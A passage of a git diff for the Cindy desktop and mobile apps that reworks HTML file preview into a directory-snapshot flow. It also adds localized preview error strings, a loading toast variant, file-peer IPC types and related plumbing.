import { cn } from '@/lib/utils';
import { isGlobalDropIntercepted } from '@/lib/globalDropIntercept';
import { toast } from '@/lib/toast';
-import { mapIpcErrorToI18nKey } from '@/utils/ipcError';
import { Tip } from '@/components/ui/tooltip';
import { ImageLightbox } from '@/components/chat/ImageLightbox';
import {
@@ -65,10 +66,6 @@ import {
filterFiles,
} from '@/features/cc-agent/workdir-browse/lib/filterFiles';
import { toOsAbsolutePath } from '@/features/cc-agent/workdir-browse/lib/fileMeta';
-import {
- openUrlInSidebarBrowser,
- pathToFileUrl,
-} from '@/features/right-sidebar/lib/openInSidebarBrowser';
import { addTab, ensureHydrated } from '@/features/right-sidebar/store';
import { toWorkdirRel } from '../../../../../shared/workdirPath';
@@ -364,15 +361,18 @@ function FileBrowserBodyWithWorkdir({
const handleOpenInSidebarBrowser = useCallback(
async (entry: DirEntry) => {
- if (!ctx.sessionId) return;
- const abs = toOsAbsolutePath(workdir, entry.relPath);
- try {
- await openUrlInSidebarBrowser(ctx.sessionId, pathToFileUrl(abs));
- } catch {
- toast.error(t('chat.markdownRenderer.openInSidebarFailed'));
- }
+ await openHtmlFileByPreference(
+ ctx.sessionId,
+ toOsAbsolutePath(workdir, entry.relPath),
+ t,
+ {
+ origin: resolveSessionFileOrigin(deviceId ?? undefined, remoteHostId),
+ workingDir: workdir,
+ },
+ 'sidebar',
+ );
},
- [ctx.sessionId, workdir, t],
+ [ctx.sessionId, workdir, deviceId, remoteHostId, t],
);
const handleOpenInFileBrowser = useCallback(
@@ -391,21 +391,18 @@ function FileBrowserBodyWithWorkdir({
const handleOpenInBrowser = useCallback(
async (entry: DirEntry) => {
- const abs = toOsAbsolutePath(workdir, entry.relPath);
- try {
- await window.electronAPI.openFileInBrowser(abs);
- } catch (error) {
- toast.error(
- t(
- mapIpcErrorToI18nKey(error, {
- namespace: 'chat.markdownRenderer',
- fallback: 'chat.markdownRenderer.openInBrowserFailed',
- }),
- ),
- );
- }
+ await openHtmlFileByPreference(
+ ctx.sessionId,
+ toOsAbsolutePath(workdir, entry.relPath),
+ t,
+ {
+ origin: resolveSessionFileOrigin(deviceId ?? undefined, remoteHostId),
+ workingDir: workdir,
+ },
+ 'external',
+ );
},
- [workdir, t],
+ [ctx.sessionId, workdir, deviceId, remoteHostId, t],
);
const handleDroppedExternalFile = useCallback(
@@ -677,8 +674,8 @@ function FileBrowserBodyWithWorkdir({
onCopyFilePath={!isRemote ? handleCopyFilePath : undefined}
onRevealInFolder={!isRemote ? handleRevealInFolder : undefined}
onOpenInFileBrowser={ctx.sessionId ? handleOpenInFileBrowser : undefined}
- onOpenInSidebarBrowser={!isRemote && ctx.sessionId ? handleOpenInSidebarBrowser : undefined}
- onOpenInBrowser={!isRemote ? handleOpenInBrowser : undefined}
+ onOpenInSidebarBrowser={ctx.sessionId ? handleOpenInSidebarBrowser : undefined}
+ onOpenInBrowser={handleOpenInBrowser}
/>
</div>
)}
diff --git a/apps/desktop/src/renderer/i18n/locales/en/common.json b/apps/desktop/src/renderer/i18n/locales/en/common.json
index a7e72c5c03..fc6c88f707 100644
--- a/apps/desktop/src/renderer/i18n/locales/en/common.json
+++ b/apps/desktop/src/renderer/i18n/locales/en/common.json
@@ -8817,6 +8817,11 @@
"closeHint": "or click backdrop to close"
},
"remoteFile": {
+ "previewFailed": "Could not prepare the web preview. Check the directory and connection, then try again.",
+ "previewNotFound": "The HTML file was not found. Check that it still exists.",
+ "previewFetching": "Preparing Web Preview…",
+ "previewTooLarge": "Too many previews are being prepared. Please try again shortly.",
+ "previewUnsupported": "Update Cindy on the remote device to preview this directory.",
"fetching": "Fetching file from remote…",
"fetchFailed": "Failed to fetch file from remote",
"notFound": "File not found on remote",
diff --git a/apps/desktop/src/renderer/i18n/locales/ja/common.json b/apps/desktop/src/renderer/i18n/locales/ja/common.json
index a00ff2ab8f..968681d771 100644
--- a/apps/desktop/src/renderer/i18n/locales/ja/common.json
+++ b/apps/desktop/src/renderer/i18n/locales/ja/common.json
@@ -8811,6 +8811,11 @@
"closeHint": "または背景をクリックして閉じる"
},
"remoteFile": {
+ "previewFailed": "Web プレビューを準備できませんでした。ディレクトリと接続を確認して再試行してください。",
+ "previewNotFound": "HTML ファイルが見つかりません。ファイルが存在するか確認してください。",
+ "previewFetching": "Web プレビューを準備しています…",
+ "previewTooLarge": "準備中のプレビューが多すぎます。しばらくしてから再試行してください。",
+ "previewUnsupported": "ディレクトリをプレビューするには、リモート端末の Cindy を更新してください。",
"fetching": "リモートからファイルを取得しています…",
"fetchFailed": "リモートからのファイル取得に失敗しました",
"notFound": "リモートにファイルが見つかりません",
diff --git a/apps/desktop/src/renderer/i18n/locales/ko/common.json b/apps/desktop/src/renderer/i18n/locales/ko/common.json
index b4e5400a62..93de7a4cc2 100644
--- a/apps/desktop/src/renderer/i18n/locales/ko/common.json
+++ b/apps/desktop/src/renderer/i18n/locales/ko/common.json
@@ -8811,6 +8811,11 @@
"closeHint": "또는 배경을 클릭해 닫기"
},
"remoteFile": {
+ "previewFailed": "웹 미리보기를 준비하지 못했습니다. 디렉터리와 연결을 확인한 후 다시 시도하세요.",
+ "previewNotFound": "HTML 파일을 찾을 수 없습니다. 파일이 존재하는지 확인하세요.",
+ "previewFetching": "웹 미리보기 준비 중…",
+ "previewTooLarge": "준비 중인 미리보기가 너무 많습니다. 잠시 후 다시 시도하세요.",
+ "previewUnsupported": "디렉터리를 미리 보려면 원격 기기의 Cindy를 업데이트하세요.",
"fetching": "원격에서 파일을 가져오는 중…",
"fetchFailed": "원격에서 파일을 가져오지 못했습니다",
"notFound": "원격에 파일이 없습니다",
diff --git a/apps/desktop/src/renderer/i18n/locales/zh-CN/common.json b/apps/desktop/src/renderer/i18n/locales/zh-CN/common.json
index 546ed967ae..0c7eb68ee3 100644
--- a/apps/desktop/src/renderer/i18n/locales/zh-CN/common.json
+++ b/apps/desktop/src/renderer/i18n/locales/zh-CN/common.json
@@ -8807,6 +8807,11 @@
"closeHint": "或点击背景关闭"
},
"remoteFile": {
+ "previewFailed": "无法准备网页预览,请检查目录和连接后重试",
+ "previewNotFound": "找不到 HTML 文件,请确认文件仍然存在",
+ "previewFetching": "正在准备网页预览…",
+ "previewTooLarge": "正在准备的预览过多,请稍后重试",
+ "previewUnsupported": "远程设备暂不支持目录预览,请更新该设备上的 Cindy 后重试",
"fetching": "正在从远端获取文件…",
"fetchFailed": "从远端获取文件失败",
"notFound": "远端文件不存在",
diff --git a/apps/desktop/src/renderer/i18n/locales/zh-TW/common.json b/apps/desktop/src/renderer/i18n/locales/zh-TW/common.json
index 7172d8079d..6ee19b6003 100644
--- a/apps/desktop/src/renderer/i18n/locales/zh-TW/common.json
+++ b/apps/desktop/src/renderer/i18n/locales/zh-TW/common.json
@@ -8806,6 +8806,11 @@
"closeHint": "或點選背景關閉"
},
"remoteFile": {
+ "previewFailed": "無法準備網頁預覽,請檢查目錄和連線後重試",
+ "previewNotFound": "找不到 HTML 檔案,請確認檔案仍然存在",
+ "previewFetching": "正在準備網頁預覽…",
+ "previewTooLarge": "正在準備的預覽過多,請稍後重試",
+ "previewUnsupported": "遠端裝置暫不支援目錄預覽,請更新該裝置上的 Cindy 後重試",
"fetching": "正在從遠端獲取檔案…",
"fetchFailed": "從遠端獲取檔案失敗",
"notFound": "遠端檔案不存在",
diff --git a/apps/desktop/src/renderer/lib/fileBrowserTransport.ts b/apps/desktop/src/renderer/lib/fileBrowserTransport.ts
index b0d2158d4c..7c0534adcd 100644
--- a/apps/desktop/src/renderer/lib/fileBrowserTransport.ts
+++ b/apps/desktop/src/renderer/lib/fileBrowserTransport.ts
@@ -18,6 +18,7 @@
*/
import { createLogger } from '@/lib/logger';
+import { createDeviceFileOperations } from '@cindy/device-link';
import { isDeviceLinkRemotePushCurrent } from '@/lib/remoteDataOwnerPushFence';
import { gzipTextToBase64, gunzipBase64ToText } from './gzipBase64';
@@ -102,7 +103,9 @@ export function isDeviceTooOldError(err: unknown): boolean {
* 与 window.electronAPI.fileBrowser 同形的读写子集,按 deviceId 路由。
* device 分支的返回形状由被控端 device-op 保证与本地 handler 逐字段一致。
*/
-export function fileBrowserApiFor(deviceId: string | null | undefined): Pick<
+export function fileBrowserApiFor(
+ deviceId: string | null | undefined,
+): Pick<
LocalFileBrowser,
| 'listDir'
| 'listAllFiles'
@@ -115,17 +118,20 @@ export function fileBrowserApiFor(deviceId: string | null | undefined): Pick<
| 'stat'
> {
if (!deviceId) return window.electronAPI.fileBrowser;
+ const files = createDeviceFileOperations(
+ <T>(args: Record<string, unknown>) =>
+ window.electronAPI.deviceLink.invoke(deviceId, REMOTE_OP_CHANNEL, [args]) as Promise<T>,
+ );
return {
- listDir: (p) => invokeOp(deviceId, 'listDir', p),
+ listDir: (p) => files.listDir(p),
listAllFiles: (p) => invokeOp(deviceId, 'listAllFiles', p),
// readFile 恒带 acceptGzip(老被控端忽略未知字段,无害);返回若为 gzip
// 编码则在这里解回明文,上层 hooks(useFileContent 等)零感知。
readFile: async (p) => {
- const res = await invokeOp<Awaited<ReturnType<LocalFileBrowser['readFile']>>>(
- deviceId,
- 'readFile',
- { ...p, acceptGzip: true },
- );
+ const res = await files.readFile<Awaited<ReturnType<LocalFileBrowser['readFile']>>>({
+ ...p,
+ acceptGzip: true,
+ });
if (res && res.ok) {
const data = res.data as typeof res.data & { contentEncoding?: 'gzip' };
if (data.contentEncoding === 'gzip') {
@@ -139,7 +145,10 @@ export function fileBrowserApiFor(deviceId: string | null | undefined): Pick<
// 大内容且被控端确认支持 gzip → 以 contentGz 发送(明文 content 不再上帧);
// 其余情况(小内容 / 老端 / 探测瞬断 / 压缩异常)全部回退现状明文。
writeFile: async (p) => {
- if (p.content.length > WRITE_GZIP_MIN_CHARS && (await deviceSupportsGzip(deviceId, p.workdir))) {
+ if (
+ p.content.length > WRITE_GZIP_MIN_CHARS &&
+ (await deviceSupportsGzip(deviceId, p.workdir))
+ ) {
try {
const contentGz = await gzipTextToBase64(p.content);
// 预算预检:压缩结果超帧预算(不可压缩内容 gzip+base64 反而膨胀)
@@ -161,10 +170,13 @@ export function fileBrowserApiFor(deviceId: string | null | undefined): Pick<
// 立刻负缓存该设备,并用明文重发同一内容自愈,把数据丢失闸死在一次
// 保存内(下一轮 dirty 基线也以明文重发结果为准)。
if (res && res.ok === true && res.size === 0) {
- log.warn('gzip write landed as empty file (stale caps, target downgraded?), resending plaintext', {
- deviceId,
- relPath: p.relPath,
- });
+ log.warn(
+ 'gzip write landed as empty file (stale caps, target downgraded?), resending plaintext',
+ {
+ deviceId,
+ relPath: p.relPath,
+ },
+ );
deviceGzipCaps.set(deviceId, Promise.resolve(false));
return invokeOp(deviceId, 'writeFile', p);
}
diff --git a/apps/desktop/src/renderer/lib/markdownTarget.ts b/apps/desktop/src/renderer/lib/markdownTarget.ts
index aeefd70a50..b7a4aca4e0 100644
--- a/apps/desktop/src/renderer/lib/markdownTarget.ts
+++ b/apps/desktop/src/renderer/lib/markdownTarget.ts
@@ -264,7 +264,32 @@ export function classifyMarkdownLinkTarget(
): MarkdownTarget {
// sandbox: 前缀在进任何 scheme 判定前先剥掉——它只是 LLM 对本地路径的一种
// 拼写习惯,剥完后与作者直写 `[x](C:/…)` 走同一条链路(含存在性校验)。
- const raw = normalizeSandboxHref(href?.trim() ?? '');
+ let raw = normalizeSandboxHref(href?.trim() ?? '');
+ // File links use the same existence/type/opening path as ordinary absolute references.
+ if (raw.startsWith('xdt-file://')) {
+ try {
+ // Electron registers this as a standard scheme: Chromium's URL parser
+ // turns xdt-file:///Users/... into a URL whose host is "Users". Preserve
+ // the explicit absolute-path spelling before invoking that parser.
+ let filePath = raw.startsWith('xdt-file:///')
+ ? decodeURIComponent(raw.slice('xdt-file://'.length).split(/[?#]/, 1)[0])
+ : null;
+ if (!filePath) {
+ const url = new URL(raw);
+ filePath = url.searchParams.get('path');
+ if (!filePath && !url.hostname) filePath = decodeURIComponent(url.pathname);
+ }
+ if (filePath && /^\/[A-Za-z]:\//.test(filePath)) filePath = filePath.slice(1);
+ if (
+ filePath &&
+ !/\.(png|jpe?g|gif|webp|svg|bmp|ico)$/i.test(filePath) &&
+ (filePath.startsWith('/') || WINDOWS_ABSOLUTE_PATH_RE.test(filePath))
+ )
+ raw = filePath;
+ } catch {
+ /* Preserve legacy unparseable URLs. */
+ }
+ }
if (!raw) return { kind: 'plain-text', href: raw, reason: 'empty' };
if (raw.startsWith('#')) return { kind: 'anchor', id: decodeAnchorId(raw.slice(1)), href: raw };
diff --git a/apps/desktop/src/renderer/lib/toast.ts b/apps/desktop/src/renderer/lib/toast.ts
index 25c915edbf..78d95e3ca4 100644
--- a/apps/desktop/src/renderer/lib/toast.ts
+++ b/apps/desktop/src/renderer/lib/toast.ts
@@ -13,7 +13,7 @@
* 不要把视觉组件混在这里 —— Toast.tsx / ToastContainer.tsx 另外放。
*/
-export type ToastVariant = 'info' | 'success' | 'warning' | 'error';
+export type ToastVariant = 'loading' | 'info' | 'success' | 'warning' | 'error';
/**
* 提示来源(第三方供文案时的身份头,由宿主画在正文前;当前消费方:意识
@@ -252,6 +252,10 @@ function createItem(variant: ToastVariant, message: string, options?: ToastOptio
}
export const toast = {
+ /** Neutral progress; the caller dismisses it when the operation settles. */
+ loading(message: string, options?: ToastOptions): string {
+ return createItem('loading', message, { duration: 0, ...options });
+ },
info(message: string, options?: ToastOptions): string {
return createItem('info', message, options);
},
diff --git a/apps/desktop/src/renderer/vite-env.d.ts b/apps/desktop/src/renderer/vite-env.d.ts
index 1f8d3cf5e6..5840380b9e 100644
--- a/apps/desktop/src/renderer/vite-env.d.ts
+++ b/apps/desktop/src/renderer/vite-env.d.ts
@@ -2533,6 +2533,8 @@ interface ElectronAPI {
onAppUpdateProgress: (callback: (payload: AppUpdateProgressPayload) => void) => () => void;
fileBrowser: {
listDir: (params: {
+ /** Return all ordinary entries without presentation filtering. */
+ includeIgnored?: boolean;
/** 非空 = SSH remote 会话,操作经远端 file-service 执行(main 侧路由)。 */
remoteHostId?: string | null;
workdir: string;
@@ -2685,6 +2687,14 @@ interface ElectronAPI {
}) => void,
) => () => void;
/** 聊天流文件取回:远端绝对路径 → 本地缓存副本(进度经 onTransferProgress,relPath 键 = absPath)。 */
+ previewHtml: (params: {
+ origin:
+ | { kind: 'local' }
+ | { kind: 'device'; deviceId: string }
+ | { kind: 'ssh'; remoteHostId: string };
+ workdir: string;
+ absPath: string;
+ }) => Promise<{ ok: true; url: string }>;
chatFetch: (params: {
origin: { kind: 'device'; deviceId: string } | { kind: 'ssh'; remoteHostId: string };
workdir: string;
diff --git a/apps/desktop/src/shared/filePeer.ts b/apps/desktop/src/shared/filePeer.ts
new file mode 100644
index 0000000000..e6feecdb10
--- /dev/null
+++ b/apps/desktop/src/shared/filePeer.ts
@@ -0,0 +1,21 @@
+import type { DesktopIceServer } from '@cindy/device-link';
+export const FILE_PEER_LOCAL = {
+ REGISTER: 'file-peer:host:register',
+ COMMAND: 'file-peer:host:command',
+ REPLY: 'file-peer:host:reply',
+ READ: 'file-peer:host:read',
+ WRITE: 'file-peer:host:write',
+} as const;
+export type FilePeerCommand =
+ | { action: 'offer'; connection: string; servers: DesktopIceServer[] }
+ | { action: 'accept'; connection: string; servers: DesktopIceServer[]; sdp: string }
+ | { action: 'answer'; connection: string; sdp: string }
+ | { action: 'receive'; connection: string; ticket: string; size: number; sink: string }
+ | { action: 'close'; connection: string };
+export interface FilePeerHostApi {
+ register(): Promise<void>;
+ onCommand(fn: (id: string, command: FilePeerCommand) => void): () => void;
+ reply(id: string, ok: boolean, value?: string): Promise<void>;
+ read(connection: string, ticket: string, offset: number): Promise<string>;
+ write(sink: string, offset: number, base64: string): Promise<void>;
+}
diff --git a/apps/desktop/src/shared/ipc-errors.ts b/apps/desktop/src/shared/ipc-errors.ts
index 292a51b1c9..6caded6ba7 100644
--- a/apps/desktop/src/shared/ipc-errors.ts
+++ b/apps/desktop/src/shared/ipc-errors.ts
@@ -9,6 +9,8 @@ export type IpcErrorCode =
| 'INTERNAL'
| 'ALREADY_EXISTS'
| 'PRECONDITION_FAILED'
+ | 'HTML_PREVIEW_TOO_LARGE'
+ | 'HTML_PREVIEW_UNSUPPORTED'
// 本地模型切换窗口保护的可行动失败原因。device-link 继续降级为
// PRECONDITION_FAILED,避免把新增 Electron IPC code 变成跨版本 wire 契约。
| 'MODEL_CONTEXT_USAGE_UNKNOWN'
@@ -277,6 +279,8 @@ const IPC_ERROR_CODES: ReadonlySet<IpcErrorCode> = new Set<IpcErrorCode>([
'ALREADY_EXISTS',
'IDENTITY_CONFLICT',
'PRECONDITION_FAILED',
+ 'HTML_PREVIEW_TOO_LARGE',
+ 'HTML_PREVIEW_UNSUPPORTED',
'MODEL_CONTEXT_USAGE_UNKNOWN',
'MODEL_VISIBILITY_NOT_READY',
'BOT_CREATION_MODEL_UNAVAILABLE',
diff --git a/apps/mobile/app/_layout.tsx b/apps/mobile/app/_layout.tsx
index 90c353e778..9c65c9b446 100644
--- a/apps/mobile/app/_layout.tsx
+++ b/apps/mobile/app/_layout.tsx
@@ -1,3 +1,4 @@
+import { PeerFileTransport } from '@/device-link/peerFileTransport';
import { startLocalDiagnostics } from '@/debug/localDiagnostics';
import {
DarkTheme as NavigationDarkTheme,
@@ -333,6 +334,7 @@ function RootAfterUpdateChannel({ channel }: { channel: UpdateChannel }) {
{/* 任务完成推送:注册同步 + 通知点击路由 + 前台横幅压制(不渲染 UI) */}
<PushNotificationsBridge />
<DeviceLinkProvider>
+ <PeerFileTransport />
<PrecreatedWorktreeRecoveryBridge />
<NavigationGate />
</DeviceLinkProvider>
diff --git a/apps/mobile/app/files/[sessionId].tsx b/apps/mobile/app/files/[sessionId].tsx
index 7255e04068..b031812939 100644
--- a/apps/mobile/app/files/[sessionId].tsx
+++ b/apps/mobile/app/files/[sessionId].tsx
@@ -244,7 +244,7 @@ export default function RemoteFileBrowserScreen() {
});
if (seq !== loadSeqRef.current) return;
rawEntriesRef.current = normalizeRemoteOpDirEntries(raw);
- storeCachedListing(workdir, relPath, rawEntriesRef.current);
+ storeCachedListing(maker.fileBrowser.cacheScope, workdir, relPath, rawEntriesRef.current);
setItems(buildFileBrowserGridItems(rawEntriesRef.current, sortModeRef.current, Date.now()));
setLastSyncedAt(Date.now());
} catch (err) {
@@ -280,12 +280,12 @@ export default function RemoteFileBrowserScreen() {
useEffect(() => {
if (!workdir) return undefined;
let cancelled = false;
- const memoryCached = getCachedListingSync(workdir, relPath);
+ const memoryCached = getCachedListingSync(maker.fileBrowser.cacheScope, workdir, relPath);
if (memoryCached) {
rawEntriesRef.current = memoryCached;
setItems(buildFileBrowserGridItems(memoryCached, sortModeRef.current, Date.now()));
} else {
- void readCachedListing(workdir, relPath).then((persisted) => {
+ void readCachedListing(maker.fileBrowser.cacheScope, workdir, relPath).then((persisted) => {
if (cancelled || !persisted || rawEntriesRef.current.length > 0) return;
rawEntriesRef.current = persisted;
setItems(buildFileBrowserGridItems(persisted, sortModeRef.current, Date.now()));
diff --git a/apps/mobile/app/files/preview/[sessionId].tsx b/apps/mobile/app/files/preview/[sessionId].tsx
index 4f969ea948..38c24b31b0 100644
--- a/apps/mobile/app/files/preview/[sessionId].tsx
+++ b/apps/mobile/app/files/preview/[sessionId].tsx
@@ -9,10 +9,8 @@
* 切换文件通过 Done 返回列表完成。
* 文本 = readFile(acceptGzip,pako 解码)+ 行号列表;图片 = 缩略图立即显示,
* OSS 导出原图就绪后无缝换源(不出 loading 态,规则 7);其它 = 占位 + 下载。
- * markdown 与 HTML 额外有「渲染 / 源码」双态,默认渲染:两者都只用已读到的那份文本
- * (不为渲染多走一遍 OSS 导出),载体分别是 MarkdownFileReader 与 HtmlFileReader。
- * HTML 再多一步同目录资源透传:页面引用的相对资源经 media:fetch 逐个取回后回填
- * (htmlLocalResources + useHtmlLocalResources),自包含页面零请求直接过。
+ * markdown 与 HTML 额外有「渲染 / 源码」双态,默认渲染。markdown 复用已读文本;
+ * HTML 渲染完整目录快照,源码仍走文本通道与原有大小限制。
*
* absPath 单文件模式(route 参 absPath,与 relPath 互斥):聊天 chip 指向
* workdir 外文件时进入。file-browser 的 relPath 通道(listDir / readFile /
@@ -47,7 +45,7 @@ import { withTransientRemoteRetry } from '@/device-link/remoteRetry';
import { useMobileMakerTransport } from '@/device-link/useMobileMakerTransport';
import type { FileBrowserReadFileResult, MobileMakerTransport } from '@/device-link/mobileMakerTransport';
import { isAbsolutePathShape, pathDisplayName } from '@/session/chatPathCandidate';
-import { adaptTextFilePreviewResult, fetchRemoteAbsFileOnce, fetchRemoteAbsFileToUrl } from '@/session/remoteAbsFileFetch';
+import { adaptTextFilePreviewResult, fetchRemoteAbsFileToUrl } from '@/session/remoteAbsFileFetch';
import { formatByteSize, isHtmlFilePreviewCandidate } from '@/session/filePreview';
import { joinRemotePath } from '@/session/htmlLocalResources';
import { decodeGzipBase64Text, mergePathIntoComposerDraft, shareMimeForFileName } from '@/session/fileBrowserActions';
@@ -55,14 +53,10 @@ import { appendQuote, truncateQuoteText } from '@/session/chatQuoteStore';
import { getCachedPreviewText, storeCachedPreviewText } from '@/session/fileBrowserCache';
import { exportRemoteFileToUrl } from '@/session/fileBrowserExport';
import type { RemoteMediaSshContext } from '@/session/fileBrowserGallery';
-import { HtmlFileReader } from '@/session/HtmlFileReader';
-import {
- HTML_RESOURCE_LIMIT,
- HTML_RESOURCE_MAX_BYTES,
- htmlBaseDirOf,
- type HtmlResourceFetchTarget,
-} from '@/session/htmlLocalResources';
-import { useHtmlLocalResources } from '@/session/useHtmlLocalResources';
+import { HtmlSnapshotReader } from '@/session/HtmlFileReader';
+import { prepareMobileHtmlPreview, type PrepareMobileHtmlPreview } from '@/session/mobileHtmlPreview';
+import { useHtmlSnapshot } from '@/session/useHtmlSnapshot';
+import { MainWindowActionButton } from '@/components/MobilePrimitives';
import { MarkdownFileReader } from '@/session/MarkdownFileReader';
import { RemoteMediaPlayerWebView } from '@/session/mediaPlayerWebView';
import {
@@ -78,7 +72,7 @@ import { ImageLightbox } from '@/session/ImageLightbox';
import { buildMediaPayload } from '@/session/messagePayload';
import type { MobileMessageGalleryImage } from '@/session/messageGallery';
import type { MobileRemoteMediaPresignResult } from '@/session/remoteMedia';
-import { downloadRemoteMediaAsDataUri, downloadRemoteMediaShareTemp } from '@/session/remoteMediaDiskCacheExpo';
+import { downloadRemoteMediaShareTemp } from '@/session/remoteMediaDiskCacheExpo';
import { remoteSessionStore, useRemoteSessions } from '@/session/remoteSessionStore';
import type { RemoteSession } from '@/session/types';
import { fontWeight, lineHeight, monoFont, useTheme, useThemedStyles, type ThemeColors } from '@/theme';
@@ -375,12 +369,12 @@ export default function RemoteFilePreviewScreen() {
* 外路径一律拒绝),relPath/mtime 参数此时被忽略。
*/
const exportToUrl = useCallback(
- (relPath: string, mtimeMs: number): Promise<string> => {
+ (relPath: string, mtimeMs: number, stream = true): Promise<string> => {
if (singleAbsPath) {
- return fetchRemoteAbsFileToUrl({ maker, deviceId, openLink, presignGet }, singleAbsPath);
+ return fetchRemoteAbsFileToUrl({ maker, deviceId, openLink, presignGet, stream }, singleAbsPath);
}
return exportRemoteFileToUrl(
- { maker, deviceId, openLink, presignGet, isCancelled: () => unmountedRef.current },
+ { maker, deviceId, openLink, presignGet, stream, isCancelled: () => unmountedRef.current },
workdir,
relPath,
mtimeMs,
@@ -410,73 +404,11 @@ export default function RemoteFilePreviewScreen() {
return { sessionId, remoteHostId, workdir };
}, [session?.remoteHostId, sessionId, workdir]);
- /**
- * 任意被控端绝对路径 → **`data:` URI**(HTML 渲染态取同目录资源用)。
- *
- * 与 exportToUrl 的区别:后者只服务「当前这个文件」(workdir 内走两段式导出、
- * absPath 模式走单一路径取件);资源透传要取的是**页面引用的其它路径**,所以
- * 统一走 media:fetch 的绝对路径通道 —— 它对 workdir 内外一视同仁,一条路径一条码。
- *
- * **两道边界都必须由被控端强制**(review P1/P2),手机侧的判断只能当第二道:
- * - `limits.baseDir` → 被控端对资源与 baseDir 各自 realpath 后判包含关系。
- * htmlLocalResources 的 `..` 拒绝只保证**词法**子树,产物目录里的软链绕得过去;
- * - `limits.maxBytes` → 被控端在 stat 之后、上传 OSS(SSH 还要先拉进 Desktop 缓存)
- * 之前拒绝。手机拿到 `media.size` 时流量已经花完了。
- * 该上限由整页剩余预算收窄而来,不是固定的 HTML_RESOURCE_MAX_BYTES。
- *
- * SSH 会话必须带上 sshMediaContext,否则被控端会把 absPath 当本机路径解析
- * (review P2:取件必失败,同名路径还会读到错误来源)。
- */
- const fetchResourceDataUri = useCallback(
- async (
- target: HtmlResourceFetchTarget,
- limits: { baseDir: string; maxBytes: number },
- ): Promise<string> => {
- // 本次允许的字节上限:取「整页剩余预算收窄出来的值」与单资源硬上限的较小者。
- // 调度层已经收窄过,这里再夹一次是防调用方传入超大值(fail-closed 不吃亏)。
- const maxBytes = Math.max(
- 1,
- Math.min(limits.maxBytes || HTML_RESOURCE_MAX_BYTES, HTML_RESOURCE_MAX_BYTES),
- );
- // 每个资源都会在 OSS 上新建一个对象;字节一旦进了 data: URI,对象立即无用。
- // 不回收的话一页最多遗留 32 个,反复进出预览还会累积(review P1)。
- //
- // **按 key 累加收集,而不是只回收 media.ossKey**(review P1 第二轮):
- // - presign 失败(弱网 / 回包非法)时 resolveMobileRemoteMedia 在**返回之前**抛错,
- // 对象已经上传但 media 拿不到 —— 只围绕 media 写 finally 的话那个对象永久遗留;
- // - 瞬断重试的每一次都可能再上传一份,产出不同的 key,只记最后一个同样会漏。
- // 所以在 onOssKey 里收全,统一在 finally 里逐个删。
- const uploadedKeys = new Set<string>();
- try {
- // 一次性取件(带 ossKey、不进 60s 共享缓存):对象用完即删,缓存命中会回死 URL。
- const media = await fetchRemoteAbsFileOnce(
- { maker, deviceId, openLink, presignGet },
- target.absPath,
- sshMediaContext,
- (ossKey) => uploadedKeys.add(ossKey),
- // 服务端强制约束:新被控端在上传前就会按这两项拒绝,超限文件不产生任何流量。
- { ...(limits.baseDir ? { baseDir: limits.baseDir } : {}), maxBytes },
- );
- // **下载之前先按 media.size 拒掉超限资源**(review P1):取件回包已经带了大小,
- // 而 downloadRemoteMediaAsDataUri 是先把整个对象拉到手机缓存、再看 file.size ——
- // media:fetch 上限有 2 GB、批量取件又有 4 路并发,不前置判断的话一份不可信产物
- // 能凭「白名单扩展名的超大文件」打出数 GB 流量与临时磁盘占用,最后才返回空地址。
- // **这道判断不能因为被控端也判了就删**:老被控端不认 maxBytes(版本歪斜是 fail-open),
- // 而 size 缺失 / 谎报同样要兜住 —— 它是 fail-closed 的第二道。
- if (media.size > maxBytes) return '';
- // 预签名地址只在这里用一次:下载完即转成 data: URI,**绝不回填进页面**
- // (页面里的脚本能读 DOM,凭证进 DOM 等于交给不可信文档,review P1)。
- const dataUri = await downloadRemoteMediaAsDataUri(
- media.url,
- target.mimeType,
- maxBytes,
- );
- return dataUri ?? '';
- } finally {
- // 放 finally:取件抛错 / 下载失败 / 超限同样要删,失败路径才是最容易漏掉的那条。
- for (const ossKey of uploadedKeys) deleteResourceOssObject(ossKey);
- }
- },
+ const prepareHtmlPreview = useCallback<PrepareMobileHtmlPreview>(
+ (absPath, signal) => prepareMobileHtmlPreview(absPath, {
+ maker, deviceId, openLink, presignGet, ssh: sshMediaContext,
+ deleteOssObject: deleteResourceOssObject,
+ }, signal),
[deleteResourceOssObject, deviceId, maker, openLink, presignGet, sshMediaContext],
);
@@ -501,7 +433,7 @@ export default function RemoteFilePreviewScreen() {
if (busyLabel) return;
setBusyLabel(t('files.preview.exporting'));
try {
- const url = await exportToUrl(item.relPath, item.mtimeMs);
+ const url = await exportToUrl(item.relPath, item.mtimeMs, false);
// 传原始文件名:分享单按真实扩展名识别类型(PDF/视频等非图片 mime 不在
// extOfMime 映射里,不带名字会落成 .img 让接收方无法预览)。
const mime = shareMimeForFileName(item.name);
@@ -606,7 +538,7 @@ export default function RemoteFilePreviewScreen() {
visible={screenFocused && index === pageIndex}
onHtmlPanChange={reportHtmlPan}
exportToUrl={exportToUrl}
- fetchResourceDataUri={fetchResourceDataUri}
+ prepareHtmlPreview={prepareHtmlPreview}
item={item}
maker={maker}
onDownload={() => void downloadAndShare(item)}
@@ -718,7 +650,7 @@ function FilePreviewPage({
absolutePathOf,
active,
exportToUrl,
- fetchResourceDataUri,
+ prepareHtmlPreview,
item,
maker,
onDownload,
@@ -734,10 +666,7 @@ function FilePreviewPage({
absolutePathOf(relPath: string): string;
active: boolean;
exportToUrl(relPath: string, mtimeMs: number): Promise<string>;
- fetchResourceDataUri(
- target: HtmlResourceFetchTarget,
- limits: { baseDir: string; maxBytes: number },
- ): Promise<string>;
+ prepareHtmlPreview: PrepareMobileHtmlPreview;
item: FileBrowserGridItem;
maker: Pick<MobileMakerTransport, 'fileBrowser'>;
onDownload(): void;
@@ -776,9 +705,11 @@ function FilePreviewPage({
if (item.thumb === 'doc') {
return (
<TextPreviewPage
+ key={maker.fileBrowser.cacheScope}
+ cacheScope={maker.fileBrowser.cacheScope}
absolutePathOf={absolutePathOf}
active={active}
- fetchResourceDataUri={fetchResourceDataUri}
+ prepareHtmlPreview={prepareHtmlPreview}
item={item}
onDownload={onDownload}
onHtmlPanChange={onHtmlPanChange}
@@ -938,9 +869,10 @@ function PdfPreviewPage({
* markdown / HTML(richTextKindOf)多一层「渲染 / 源码」切换,渲染态复用同一份已读文本。
*/
function TextPreviewPage({
+ cacheScope,
absolutePathOf,
active,
- fetchResourceDataUri,
+ prepareHtmlPreview,
item,
onDownload,
onHtmlPanChange,
@@ -950,14 +882,12 @@ function TextPreviewPage({
visible,
workdir,
}: {
+ cacheScope: string;
